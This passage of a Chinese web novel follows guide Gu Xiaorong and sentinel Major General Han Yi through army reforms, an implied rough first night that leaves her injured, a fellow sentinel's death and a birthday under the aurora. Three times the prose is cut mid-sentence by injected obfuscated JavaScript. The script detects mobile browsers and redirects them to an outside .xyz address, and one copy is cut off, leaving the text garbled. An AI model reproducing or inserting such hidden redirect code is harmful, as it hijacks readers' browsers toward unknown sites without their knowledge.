即使是回到公会,韩奕对陆军的控制也仍旧没有放松。这次陆军的改制推进得比想象中顺利,顾小绒甚至怀疑加雷斯上校自己早就有意去整改,他与韩奕都是务实鹰派,彼此心里都清楚怎样做有利于打胜仗,只不过他与陆军的很多派系都有无法斩断的人情往来,需要借韩奕的手去做他想做的事。 这样做的坏处就在于,被伤筋动骨的利益群体一定会恨上韩奕。但他既然已在这个位置,这就是势在必行的事,所谓的控制住三军,首先就是控制住海陆空这三位上校,再往下的人员如何分配、是何意见,韩奕一概不管。当然,加雷斯也并不是完全听话,他与韩奕在很多地方的意见仍有分歧,至于长官们彼此之间如何继续博弈,顾小绒不得而知。 即使此时,顾小绒与韩奕正身处同一间办公室,彼此相隔不过五米,但顾小绒还是需要将她写的申请交给沈骁,她的职级与韩奕已没有了直接交接。这几天两人都十分忙碌,在顾小绒填写申请表、以及交给沈骁的整个过程中,韩奕甚至都没有抬一下头。哪怕以哨兵的视觉,他只需略微扫一眼便能看得一清二楚。 在公会里,他们至少拥有了安静的环境与办公场所。少将还有很多工作需要处理,他命令顾小绒在办公室的沙发上休息一会儿,她这次受伤只仓促地输了三天液,也没有好好休息,腹部偶尔仍有痛感,时好时坏。因为禁制环的存在,她也难以绕过少将向医院拿一些止痛药,这一觉仍旧伴随着隐痛,睡得冷汗岑岑。 迷蒙中,她感觉到少将的指尖轻轻抚摸过她的头发,随后是耳廓。这是他每次叫她起床的方式,轻缓的抚弄让她醒来的过程更慢更舒服。顾小绒睁开眼,只见时间已指向深夜十一点,少将正半跪在她面前,面容几乎与她贴在一起。被他的眼睛这样近地看着,顾小绒像是被烫到似的,一翻身爬了起来。 她的身上盖着少将的另一件外套,笔挺的黑色已被她揉出了皱褶,她的额间全都是汗,把外套的领口也沾湿了。顾小绒低头看着这衣服,思索着将它打包回住所洗了。一张柔和的湿巾悄无声息地贴到了她的脸颊上,少将修长的指节微微合拢,轻巧地擦过了她额间、鼻翼的冷汗。 顾小绒一动不动地坐着,任由他仔细擦完她的脸,少将已经关了办公室的灯,只剩下玄关的一点小灯。今晚难得没有下雪,无垠的月光从窗外洒落进来,他的周身好像镀上了一层银光。他们如同往常一样向停车场走去,在顾小绒打开驾驶室门的时候,韩奕的神色看上去有些犹豫,她笑了笑,说自己刚刚睡饱。 车子缓慢地行驶在公会的路上,平日里忙碌的街道已一片空寂,积雪被整齐地铲在道路的两侧,公会的所有道路都有防滑功能,因而无论是暴雪还是结冰都不用担心。 连续十多个小时的工作让少将看上去十分疲惫,他靠在副驾的座椅上揉捏着眉心,通讯器仍旧不断闪烁着消息提示灯光。顾小绒一边开着车,一边留意着韩奕,自从上次在陆军基地出了事后,他这段时间看上去一直很平稳。 那天同周烨与华峥复盘后,她就一直很忧心韩奕的状态。最终她不得不承认,比起自己的死,她更担心韩奕可能的狂化,身为S级他实在是已经支撑了太久。做为一个向导,顾小绒没有感知过被一点噪音与刺激无限折磨、放大、永无止境的痛苦,S级的敏锐度远超A级,而韩奕几乎从分化时候开始,就时时刻刻处在这种痛苦的边缘,他到现在都没有发疯失控,难以想象是怎样的意志力在支撑。 自从听证会上韩奕允许他们重新选择哨兵之后,两人就好像是同时在假装这事没有发生过,他们的表面维持着平静的外壳,没有一丝皲裂的痕迹。 雪松的味道忽然变冷,哨兵的信息素又波动了,顾小绒不由分神用余光看向他,韩奕缓缓放下通讯器,合上了眼睛。 今天是截止递交申请的最后期限,甚至不允许提前递交,沈骁叮嘱他们每一个人慎重决定。顾小绒上交的内容十分简单,因为只有选择重新更换哨兵才需要填写大段申请与数据,而她只选择了一个“否”字,之后再签上姓名,盖上手印。一笔一划、签字画押。 那天碰面时候,他们三人彼此都没有透露自己的想法,但是顾小绒大体能感觉到周烨与华峥的选择。 车子很快停到了住所楼下,顾小绒有些恋恋不舍地看着夜空那轮明亮的圆月,她发现韩奕也没有动身,少将高大的身影逆光伫立在她的身边,她有些看不清他的神情。少将拿出通讯器,将发着蓝光的屏幕递到她眼前,沈骁报告了她们三人的申请结果,在“是否有意愿更换哨兵?”的文字下,她与周烨、华峥三人,全填写了“否”。 结果同她料想的一样,顾小绒反应平静。 “为什么?”他的语气没有一丝温度,好像是在日常询问任何一位下属。 顾小绒没有回答,她当然不可能在此时离开韩奕,他才刚刚升职,还没有坐稳位置。外战相持不下、内部风起云涌,除了莱安以外,还有很多不同的派系与势力盯着少将这个位置,强敌环视、虎视眈眈。她这时候要走,无异于拔掉黑豹的利爪,将他扔在泥沼中等死,她怎么可能这样做。她还年轻,还能替他再消耗两年,甚至再久一点…… 她最终什么都没有说,这样的行为在手册里属于违逆上级,长官的提问一定得回答,这是明文规定。可此时她的心中也被悲伤填满,是另一种远比违逆长官更严重、更令她心碎的事实。 她曾经一直以为,她和韩奕还有大把的时间,她可以慢慢地努力、成长,追上他的脚步,或者即使是追不上,就像现在这样一直陪伴在他的身边也是好的。可是现在她明白了,原来他们彼此能在一起的时间这样短暂,与其说是相守,不如说是告别。 从她遇见他的那一刻起,她的生命就已进入了倒计时,这场漫长的告别已然拉开帷幕。 剧烈的情绪波动牵拉住她的整个腹部与胸腔,那里痛成了一片,已经分不清哪里是哪里。 银色的月辉中,顾小绒感觉到有一滴泪悄然落到心底,她没有回答少将的问题,也不能抬头让他看见自己快要哭出来的脸,她想要离开,动作却像是生锈一般疼痛而缓慢。 没有走出两步,她就感到脚下一空,韩奕竟将她整个人直接抱离了地面。顾小绒的思绪这才猛地收回,她不知所措地抱住了长官的脖子,他紧紧地扣着她,步伐又快又稳。 直到五分钟后她被放到床上,少将的手已经快速地解开了她的衣扣,白皙的腹部被袒露出来,那里赫然是上一次留下的枪伤,因为才愈合不久,还显示出有些深的紫色,看起来狰狞而刺眼。除却伤口之外,被哨兵失控所碰撞的地方也留下了大片深紫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16055874|179099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的淤青,几乎遍布了她的整个躯体,眼下呈现在他面前的这具身体伤痕累累、体无完肤。 少将止住了动作,顾小绒忙将衣服翻下遮住伤口,沉默突兀地横亘在他们中间。房间没有开灯,眼前一片黑暗,月光在窗帘的遮挡下变得朦胧。他们现在靠得太近,韩奕黑色的发丝垂落下来遮住了他的眼睛,她看不见他的神情。 顾小绒的心里蓄满了悲伤,她的决定是早就做好的,只是一想到自己的生命不知道什么时候会戛然而止,巨大的惶恐便要将她击溃,不是对于死亡的恐惧,是对于与他分离的恐惧。 眼泪从湛蓝的眸子里滚落下来,她的悲伤从心中满溢。 韩奕忽然倾身上前,捧住她湿润的脸,而后微凉的唇覆上了她的。这是一个绵长的、深深的吻,他长久地、温柔地吻着她,指尖从下颌攀升到发丝深处。少将的面容第一次这样近地贴拢过来,她只得闭上眼睛,等到几乎快要窒息时,这个吻才堪堪结束。 顾小绒后知后觉地发现,自己的手已不知什么时候攀住了韩奕的肩,像是溺水之人寻求着最后的一丝拯救。他的目光回到她的脸上,是从未有过的悲伤与温柔。她的视线已适应了黑暗,看见那双深深看着自己的眼睛,他冷黑的眉眼映衬在白皙的肌肤上,仿佛是雪中的黑色琉璃,清冷而迷离。因为靠得太近,每一分细节都纤毫毕现。暗淡的月光中,他的轮廓棱角分明、俊美迫人,令她的理智分崩离析。 韩奕没有再继续,只是静静地望着她,像是在等待她的回答,好像此时她才是那个主宰者。他的眼神哀伤而温柔,不再是身居高位的严厉问询,而是一种低垂的渴望。 他这样的神情令她无法再承受一点,最终她只能闭上眼,对他缴械投降,她生涩地、小心翼翼地吻了上去。唇齿相交的那一刻,她的心里横生出一种渴望,想要永远与他在一起,直到世间的一切、连同死亡都无法将他们分开。 在旧时的传言里,这是哨兵与向导最深的结合方式,这种连接的深度是纯粹的精神连接无法达到的,几乎是将灵魂结契。从此之后他将永远保留她的一部分,于她而言也是一样。 在那之后,她做了一个梦,那里纯白无垠,天际与地上的积雪仿佛连成了一片,空旷的烈士陵园比现实中的更加萧索,韩奕正站在她的墓碑前,满眼的白茫里,只有他一个人静静伫立着。她的灵魂就好像漂浮在空中一般注视着他,无法上前、无法靠近、甚至看不清他的脸。 顾小绒醒过来时,时间已经快到了中午,她闻见了厨房的香味,想要撑起身体,就立刻被剧烈的疼痛侵袭。瞬时的剧痛让她几乎两眼发黑,只能一动不动地忍受,直到浑身冷汗地挨了过去,才试着缓慢地挪动身体下床。她的指尖触摸到行军床冰冷变形的金属边缘,脑子里闪过昨晚的画面,顿时脸颊通红、心跳如雷。 昨晚韩奕将多余的力量尽数迁怒到了床沿上,此时在她的眼前,足有四公分粗的实体金属已被哨兵巨大的力量拧到变形,甚至在最上端的床头也被拧出了一个缺口。除了面目全非的床之外,她的身体被大片新增的淤青与红痕所覆盖,新痕叠加旧伤,几乎没有一块完整的地方。口腔里一片血腥,也不知道是疼得自己咬的还是被他咬的。 顾小绒极其缓慢地、艰难地挪进了浴室,因为每一步都牵拉着伤处,她的双腿几乎一直无法控制地颤抖。清洗身体时,她从镜子中看到了自己遍布青紫红痕的身体,同之前抵抗训练的时候几乎如出一辙。 向导轻声地叹了口气,这才第一次直观明白了自己社死了多久。 还好那个向导姐姐给她的药膏还有一些,外面的快要用完了,里面的……还没用过。她的脸烧得一片滚烫,随后想着,自己以后一定得找那位向导姐姐感谢她。 顾小绒最终费了极大的力气,才挣扎着挪到桌前坐下,涂上药后那里冰冰凉凉,疼痛多少缓解了一些,只是一番挣扎使得她的冷汗又打湿了衣襟,刚刚那次澡算是白洗了。 36. 第三十六章 厨房门一打开,牛排和烤肠的鲜香就充满了整个房间,顾小绒的注意力从疼痛中抽离出来,她顿时感觉到饿了。 少将仍旧同往常一样,单手解下围裙,将烤好的面包先端到了桌上。顾小绒尴尬地坐着,不是不想帮忙,她现在实在站不起来。往日训练的时候,她也经常有痛到无法行动的时候,于是她努力说服自己就当和平时一样。 烟熏三文鱼、番茄肉酱面也被依次端上餐桌,少将的手既快且稳,只是几次眨眼的时间,黄金炸虾球、培根奶油三明治、蔬菜沙拉和南瓜汤也被端了上来,围绕着中间的一大份牛排摆满了整个桌子。少将甚至还给她做了红豆燕麦乳,顾小绒喝了一小口,尝出了红豆、糯米和牛奶的味道。 少将的面容与往常没有任何区别,仿佛这是再普通不过的一个中午。他吃饭的时候一直浏览着通讯器,这段时间因为一直陪着她,他肯定积压了很多工作。 如果不是他身上萦绕不散的荔枝味,顾小绒一定会觉得昨晚的那一切都是自己的梦,而她自己的身上也被雪松味萦绕。以往训练时因为难免会有肢体接触,她的身上时常沾染到韩奕的信息素,通常洗个澡或者过一会儿就散了。可这一次,雪松味就像是被刻进了体内,即使是隔了一整夜又洗了澡,也一直没有散去。 “长官,请问下我往后还有没有什么工作安排?”顾小绒望着韩奕修长的指尖,决定也像无事发生一样正常地提问。那双骨节分明的手已经用完了餐,刚好将刀叉放下。 “三天后回陆军基地。”韩奕言简意赅地回复到,他仍然只饮用清水,眼睛一直注视着新发来的简讯。 “是……”顾小绒回复到,她已经填饱了肚子,少将的厨艺似乎又精进了,比外面任何地方的餐饮都好吃。准备回去一定是要继续盯着改革的完成,毕竟这是最重要的一颗硬钉子,少将一定得去亲自监督完成。北方因为港口常年冻结、海军羸弱,一直倚仗空军和陆军,对陆军的改革事关全局、举足轻重。 只是想到那里的环境以及上次的哨兵失控,顾小绒仍旧有些发怵,她的腹部甚至又隐隐地痛了起来。 “我已经命令他们按照公会标准重新修建住所。”韩奕头都没抬,从侧面能看见清冷的下颌与滚动的喉结,顾小绒再次收回了视线。 不到万不得已,才上任的少将并没有打算大兴土木,以免再加上一个铺张浪费的名头,可是陆军的种种行为实在逾越了界限,那一阵子少将有巨量的工作与交接需要完成,没有时间和精力在这些细枝末节上计较,现在一缓过来就立即安排了下去,这一次他不打算做出任何退让、从任何方面。 对方凌厉的气势让她觉得压迫感太强,正思索着如何从这股气场辐射中离开,少将已经起身。 顾小绒条件反射地也要站起来,身体却还是痛得厉害,她不由闷哼了一声。少将的手随即搭在了她的肩上,将她轻轻按回了椅子,坐回去和站起来的痛感其实差不多,顾小绒的额间几乎立即渗出了一层冷汗。那只原本放在她肩头的手忽然调转了方向,微凉的指尖轻轻摩挲过她的下颌,稍一施力便将她的脸抬了起来,少将侧过脸将她吻住。 身体还牢牢记得昨夜的印记,顾小绒的腿不由一阵发颤。好在他只是浅尝辄止地吻了一下,轻抚面颊的手往上抬,将她额间的薄汗擦去。 “这几天好好休息。”少将声音低沉,专注地望着她。 “可是……”顾小绒喘着气,她的眼睛被刚刚那一阵厮磨弄得有些湿润:“您……不需要去办公吗?” “我在这儿陪你。”他沉声答到。 这一次返回陆军,少将的随行人员增添了三倍,荷枪实弹的士兵将长官与核心团队牢牢护卫,短短几天的时间陆军基地的人就少了很多,更大规模的裁撤与合并还在继续。 这一次整个系统大更换,除了加雷斯上校力保的嫡系之外,韩奕几乎将下面的所有派系与分支重新洗牌,因为制度与权责的变革与互相制衡,新的框架下将很难出现以往权力倾轧的情况。往后陆军将与其余军种互相融合,打破曾经一家独大的地位,在完成陆军内部的划分后,与其余两军、包括公会的重新排布与对接也提上了日程。 保留一部分嫡系也是加雷斯与韩奕博弈的结果,虽然少将已做出了让步,但加雷斯的心腹仍旧被大幅削去了职权。韩奕已经给了加雷斯足够的尊重,至于他认为不能退步的,他将分毫不让。 陆军的办公室不如公会的隔音效果那样好,顾小绒即使是等在外面,那面墙也如同虚设,她与其余的随行人员都从头都尾听到了两位长官“亲切友善”的交流。在加雷斯再一次叼起雪茄、意图点燃的时候,韩奕毫不留情地伸手将他嘴里的雪茄抽了下来,重重摁灭在烟灰缸里。 气氛一时剑拔弩张,顾小绒甚至听到了两边守卫士兵捏紧枪械的声音,心想原来所谓的权力斗争也不过就是组团械斗,比谁的拳头更大罢了。对于已经有过任务经验的她来说,这都是小场面,有什么擦枪走火的不需要士兵动手,她一个人就可以把外围肃清。 好在加雷斯没有失去理智到要单挑一位哨兵、还是女皇亲点的少将,此次的博弈最终还是以他的退步而告终。至于表面上被迫接受和背地里怎样操作,韩奕的眼睛将一直盯着他,只要他还在这个位置上,就绝不会放松一刻。 会议室的门被重重摔到一边,发出震耳欲聋的声响,两位长官前后走了出来,顾小绒终于结束了和对方士兵尴尬的面面相觑,大家跟上自己的长官各回各家。 他们在陆军基地的住所被更换到了更加偏僻的郊区,在严格按照公会标准的住所修建好之前,他们都将暂时住在这里。这里是曾经的士兵营房,几乎远离了基地核心区域,周遭更加安静。房屋当然也做了临时的修缮、填充了隔音棉,他们与核心的随行卫队都居住在一处,比起上一次的环境安全了许多。 直到同长官一起进门、逐个关上了窗子与窗帘,韩奕这才将头埋在了顾小绒的后颈,他将她的后背往身上一按,伸手解开她束起的头发,银色的长发流瀑一般泼洒下来,释放出一阵淡淡的荔枝味。韩奕的唇朝着她的耳垂碰去,向导不由地瑟缩了一下。 “吓到你了?”他松开了箍在她腰间的手,轻轻扳过她的肩膀。 顾小绒有些尴尬地笑了笑,她刚才是有些紧张,不过不是被韩奕吓到,是她在考虑长官一旦被激怒到失控,自己是不是能保证他可以不要把一屋子的人都弄死。 韩奕似乎对她的脑回路有些错愕,他继而笑出了声来,和少将在一起这么久,这是她第一次见他这样笑。 顾小绒虽然一半是玩笑,但一半也认真,毕竟这确实是她的责任,她的心里仍旧盘踞着哨兵失控的阴翳。而且这一次回到陆军基地,她开始听到一些关于她的流言蜚语。 “说什么向导是负责控制哨兵的,你看那向导这么娇小,年轻漂亮的,像是能‘控制’的吗?‘慰问’还差不多吧……” “可不是,上次连门都没有出,谁知道在干嘛,最后都是单架抬出来的,啧啧啧。” “听说哨兵的体能异于常人,这是给玩儿坏了?” “要不怎么说有的富贵就该别人受着呢,人家能豁出去的,咱们可扛不住。” …… 其实在旧时代的传统里,哨兵与向导的结合一直都是主流,被配对的哨兵与向导几乎会被默认为伴侣。只是最近几十年,尤其是战争以后,哨兵与向导的匹配不再稳定,向导因为稀缺性,很可能在原本的哨兵牺牲后立刻就会配对上另一个哨兵,一切都以作战为先。 哨兵与向导数量失衡也在最近的几十年日趋严重,向导几乎已经低到了只占哨兵数量1/3的历史极值。公会的分配只看数据,不容感情,旧时的传统也就慢慢瓦解,更多的哨兵和向导退役后选择与普通人结婚,比如沈骁上校和他的哨兵重泽,他们各自的夫人就都是普通人。 当然,现在还是有一部分在一起的哨兵与向导,比如曼琳和诺兰,他俩几乎已经准备订婚。可是她呢,顾小绒的思绪猛地收回。她倒是无所谓那些流言蜚语,某种程度上说这些传言虽然恶毒,但也是事实,因为向导的职责就是安抚与控制哨兵,无论用什么方式,用精神还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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如果说对方仅剩的手段只有针对她造点黄谣,那么说明对方是真的已经没有什么反抗之力了。他们剩下的那些“哨兵失控”、“大兴土木耗费钱财”等等,也几乎都没有任何实质的杀伤力。哨兵需要完全满足规格的作息场所是明文规定,而所谓“失控”也慢慢被证明是子虚乌有的担心。 这些都不重要,她不想在不值得的人身上浪费任何精力,此时她需要考虑的只有韩奕。顾小绒的心陷入了两难的抉择,她知道以韩奕的为人,他们彼此的感情一定需要一个郑重的承诺或是结局。可是她去过艾丽西娅的墓碑,看见过她的一生,知道她是多么的爱着她的哨兵,直到死亡将他们分开,又将他们合二为一。 如果两人的羁绊深刻至此,她的离去会让他承受不住吗? 良久的沉默里,她终是没能回答。韩奕也没有再问,哨兵的气息沉寂了下去,他缓缓松开了紧抱着她的手,轻柔地抚摸着她的鬓发。 “没关系的,我知道……”倾泻而下的黑夜里,她听见他轻声说道。 有一件事,她一直没有告诉韩奕,也许按照流程来讲她应该先报告给沈骁和林轩,可是现在,也许到了应该说的时候。 “长官,可能我们要做好失去成煜的准备。”顾小绒神色怅然,S级哨兵是公会最精锐的作战力量,自从楚飞分化之后,就再也没有新的S级哨兵诞生,他们极其的稀有、珍贵,少一个就是一个。 “我知道。”韩奕神色平静,像是早已有所预料。 顾小绒没有告诉旁人她与成煜最后的交流内容,她想要让成煜活下去,哪怕是为了景铭,可他却说他根本不想活。 他不想活在没有他的地狱里。 几天之后,他们接到了公会的汇报,林轩、沈骁和曼琳通过各自的渠道,向韩奕报告了S级哨兵成煜的死讯。自从景铭死后,成煜便封闭了自己的精神力,任凭公会想尽了所有办法也无济于事。公会当然无法袖手旁观珍贵的S级哨兵寻死,强行输入营养液维持着哨兵基础的体能,到最后甚至用上了医疗器械辅助他的身体与脏器运作,最后在整整一个月的拉扯里,哨兵才进入到脑死亡的阶段。 最终林轩签署了成煜的死亡确认书,他在短短的几个月任期里就签署了一位S级哨兵的死亡。而韩奕19岁进入中央公会,24岁任职上校,统管中央公会将近五年,期间没有任何一位S级哨兵死亡,甚至还保住了新分化的楚飞。 数据一增一减,人心已有定论。 这份讯息也会继续往上汇报,直到帝国的最上层权力中心。 37. 第三十七章 除去一位S级哨兵的死亡,顾小绒其余的担心也在逐渐成真。诺兰好几次私下和她说过,林轩上任之后,对曾经韩奕的嫡系十分忌惮,逐渐将他们边缘化,并重新筛选、培养自己的势力。有好几次,程浩和正羽接到的都是不合常理、远超A级的任务,还好他们在曼琳的编队里,而曼琳与楚飞仍旧拥有少将离开时最后赋予的权力: 「曼琳少校与楚飞少校在作战策略、任务执行与军备资源调动上拥有高度自主性。」 少将最后留下的命令保全了大家的性命,顾小绒这才意识到,原来韩奕一早就预料到了会有现在的局面。曾经他的嫡系都是公会里优中选优的哨兵,林轩想要一时半刻取而代之也不是容易的事,而且哨兵是与向导绑定的特殊作战体系,他想要大幅度地动哨兵,也得顾及一下他们匹配的向导,毕竟沈骁还在,公会并不是他一人独大。 在一系列几乎可以说得上倒行逆施的举措后,中央公会的任务成功率开始大幅下滑,哨兵与向导做为特种作战群体,向来是他们支援常规军事任务,可如今竟然破天荒出现了常规军事力量支援哨兵向导这样的局面,甚至在有一次任务失败撤退时,还是空军的及时掩护才保住了我方哨兵的性命。 由于向导最精锐的部分几乎也都是沈骁的嫡系,林轩不想放手重用,重新筛选上来的新人又因为经验欠缺,任务失败率和伤亡率一时居高不下,甚至有一次的任务出现了全是新人的情况,记录仪上只显示出在场的哨兵与向导被不明力量压制住数秒,直到几乎全军覆没,活下来的新人向导甚至说不清楚他们遇到的是什么…… 后来,顾小绒才知道那些新人甚至还没有完成一个单元的训练,就被派上了战场…… 沈骁与林轩的互不信任,已升级到隐隐对抗的程度,顾小绒不用问也知道,蝴蝶向导的事沈骁绝对不会透露给林轩一点。即使是情报部门有所汇报,但这个事向导不开口,哨兵和普通人几乎没有去感知和查询的切口。 公会在双方的对立中急剧消耗,好在常规军力在韩奕的强力统治下仍旧照常推进,在前后两个月的严加看管里,陆军算是初步完成了改造,实战的高胜率与低损耗率证明了新体制的高效,韩奕拿下了第一局。 即使是最弱的海军方面,也在不久后拿下了卡利斯特港湾,这里和阿维隆军港都是珍贵的不冻港,也是北方直到现在才获得的唯二的两个不冻港。拿下阿维隆时,楚飞和周烨就差点搭上了命,而卡利斯特更是带走了景铭,继而损失了成煜……顾小绒的手轻轻抚过地图上两个港口的名字,再往下延伸,上面的每一座城市、每一个要塞,几乎都浸满了士兵们的血。 韩奕在完成最紧要的陆军改革后,终于能抽出精力安排海军,帝国决定将阿维隆军港打造为最大的海军基地,不过在那之前,他们仍旧需要更多的战略纵深。 夜幕仿佛无际的旷野,星辰闪耀、银河流泻。顾小绒趴在窗前往外望着,灿烂的星光让她想起了公会宴会大厅里宝石镌刻的穹顶,而眼前的场景比之璀璨辽阔了千万倍。 塞莱斯蒂军港位于帝国的最北边,由于终年封冻且日照时间极短,这里与其说是海军基地,不如说是舰船与新型武器的研发中心,毕竟即使是最新研制出来的军舰,也只能窝在基地内部的小水池里。 它们就如同尘封的宝剑等待着重见天日的时刻,而不冻港阿维隆就是它们将要驰骋的战场。 韩奕此行也正是为此,海军总负责人瑜泽上校是技术研发出身,他14岁便考上帝国最顶级的军事大学,22岁拿下博士,如今也只有29岁,已是技术研发领域的中流砥柱,他与韩奕恰好也是同龄。 因为瑜泽上校更多侧重于科研,韩奕想要提拔一位更具实战能力的人调往阿维隆军港,往后帝国会将海军的主力舰队调往那里,需要有人守卫。瑜泽向韩奕引荐了一位名叫段凌的上尉,于是从这时起,段凌便被提做了少校,准备启程去往阿维隆。 最薄弱的海军好不容易得到重视,瑜泽几乎是三位上校里对韩奕的到来最欢迎的。因为韩奕是最晚来到北方的海军基地,在他们到来时瑜泽已经命人修建好了符合规定的住所。 因为这里的气候极寒,基地是一个占地数百公里的、完全封闭的椭圆形,里面划分了生活区、科研区、生产区、办公区、作战区等等多个区域。韩奕和顾小绒的住所被安排在一个距离生活区很远的地方,那里的人员较少,相对更加僻静。 韩奕在会议室里忙到了很晚,顾小绒一直在外等着,海军士兵看她坐了这么久,还给她拿来了一个大功率取暖器,毕竟这里下午四点就进入黑夜,等到晚上气温将直接降到零下几十度,即使是基地内部体感也会很冷。 还好顾小绒所等候的地方刚好有一面窗子,她从狭窄的窗口里,看到外面浩瀚的穹窿与星海,这是她在公会从来未曾见过的风景。自从分化后,她就一直待在公会里,如同笼中的鸟一般,这是她第一次朝着天外的世界眺望、飞行,即使这样的飞行也是有限的。 她的手无意识地摩挲着一旁的工具包,那里放着她给韩奕准备的礼物,是一件她自己织的灰色围巾,今天是少将29岁的生日。围巾最边缘的角落用白色的丝线绣了一只圆乎乎的知更鸟,算作她的署名。 少将开完会出来时已到了晚上十点半,对于塞莱斯蒂军港的作息时间来说已经算深夜了。其余随行人员与文职人员早已下班休息,只有顾小绒一直等在外面,在绚烂的星空下,她并不觉得孤寂。少将一出来就上前握住了她的手,似乎想要确认她有没有冷着。顾小绒往后抽了抽,从包里拿出了那条围巾。 “长官,生日快乐。”她的眼睛在星光下盈满温柔。 韩奕顿了顿,毫不犹豫地接过了围巾,戴到了自己的脖子上。少将修长白皙脖颈常期戴着禁制环,那里的皮肤在冷硬金属的禁锢和摩擦下时常泛红,最终变成深红的烙痕。去往南部黑市执行任务时,顾小绒曾带过一段时间的禁制环,那种被束缚的痛苦和轻微的窒息感,让她几乎连觉都睡不着,而少将却一直戴着,默默承受着这种钝刀子割肉的痛苦。 围巾是她用十分柔软的棉织成的,摸上去像云朵一样轻,不知道带上去是不是能让少将好受一些,这里的气候太过严寒,围巾、手套、甚至护目镜都必不可少。不过少将平日里都身着军服,线条冷硬挺拔,与这柔软的围巾看上去似乎不太匹配。在顾小绒的思绪还在内耗的时候,少将已经带好了围巾,还好她估算得长度足够,围巾刚好垂落在修长的上身,位置正好。 “回去?”韩奕拉上她的手,两人准备去一楼开车,此时狭小的窗外却忽然闪过一阵明烈的光芒,顾小绒微微一怔,她的目光转向窗外。无垠的夜色中,一道璀璨的绿光,如同翻涌的海浪一般浮现,仿佛有生命似的地呼吸、明灭着,无数瑰丽的色泽从这片纯粹的光海中倾泻而下,它寂静无声,却美得令人战栗。 这是……极光? 顾小绒怔然地望着眼前的绝美盛景,这是她曾经逼仄苍白的生命里几乎连做梦都无法想象到的美丽。 此时的塞莱斯蒂基地已经落了锁,严格来说晚上八点之后就不再允许外出,除非瑜泽上校亲自批示。不过韩奕仍旧拥有着这里最高的权限,在顾小绒惊讶而难以置信的眼神里,少将用他的权限卡刷开了基地封闭落锁的巨大铁门。随着几股巨大蒸汽的喷射,厚重的大门之下,一道临时出入口的小门被打开,执勤士兵朝着长官的车辆敬礼,目送他们离开。 韩奕开着车,在一望无垠的冰川疾驰。顾小绒感觉自己仿佛是在飞翔,她感到从未有过的自由与欢欣,好像她真的成为了一只鸟。这里什么都没有,不再有军纪、责任、任务和束缚,她就好像解除了这世间的所有枷锁一般,任意地翱翔着,用最赤条条的、纯真而原始的形态拥抱着这个世界。 原来生命可以这样自由、轻盈、美轮美奂、无边无际。 她打开车门,几乎是迫不及待地冲了出去,一路奔跑。极光璀璨而烂漫的绿色将整个冰川照亮,巨大的光带如同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16055876|179099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 河流一般从她的头顶飞过,亮烈的光好像远在天边,又近到无处不在、触手可及。她被这份无垠的纯粹与磅礴环绕,仿佛要与眼前极致的盛景融合为一体。 “小心点,别摔着。”她听见少将的声音远远传来,而后她故意地躺到了冰原上,任凭流泻的星海与光芒将自己笼罩,知更鸟轻灵地飞着,朝着光影明灭的宇宙深处越飞越远。 顾小绒穿得有些厚,再加上围巾,看起来几乎和她的毛绒团子大差不差。少将快步走到她的身边,将她从雪地里抱起来,他拍了拍她鼻尖沾染的碎雪,她银色的长发中也满是冰屑,在极光的照耀之下,这些冻结的晶体闪烁出宝石一般华美的光。温度是零下几十度的极寒,她的脸却因为兴奋而变得红扑扑的。 “怎么像个小孩一样……”少将面露无奈,他轻抚着她的脸,那里温暖而柔软,连接着她炽热的心脏,他的目光逐渐深陷在她湛蓝的眼眸里,最终还是无法控制地吻了上去。 天地无垠,唯有他与光交相辉映。 如果可以的话,她希望可以无止境地和他拥吻下去。她确信这是她此生为数不多的、几乎最为幸福的时光,虽然只持续了短短一瞬便稍纵即逝。一道巨大的深渊忽然横陈眼前,她的心脏被一股冰冷的气息抓住,那道气息在她的耳畔幽幽问道: “你准备好了吗?” 她的身子猝然一冷,重归黑暗与冷寂。她明白,这场温存的幻梦终是要醒了。 次日从清晨到中午,少将一直都在会议室,以至于曼琳都将信息都发到了顾小绒这边,询问她老师是什么时候有时间,似乎是有什么紧急的事。顾小绒看了看会议室里面,少将正与瑜泽上校和段凌少校开会,她一个中尉没什么能说上话的机会,不过她还是答应曼琳,等到中午吃饭时候会帮她问问。 到了快12点时,会议室的门才缓缓打开了一条缝,少将的声音从中隐隐约约地传来:“这次的三艘欧米茄级战舰与……”他的声音时隐时现,顾小绒没有听全。“……分两个批次进入阿维隆,段凌你来负责。”“是,长官。”她听见对方的回答,想来那应该是最新型号的欧米茄二级,比南方的雪刃级战舰还要领先一代。 有三艘主力舰,想必也有相应配套的整个舰队过去,其中有多艘应该都是最新研发的型号,韩奕最近在忙的一直都是这事。看来帝国是下了决心要以阿维隆为中心,将利剑刺入南方腹地。 此时正是工作的时候,整个基地里人影攒动,顾小绒只有在吃饭的时候朝着通讯器点了点,少将才想起来他一直没来得及看发过来的讯息,仅仅只是一上午的时间,信息就堆积到将整个收件箱占满,曼琳的未接通消息多达七八条,满眼都是刺目的红色未接通。 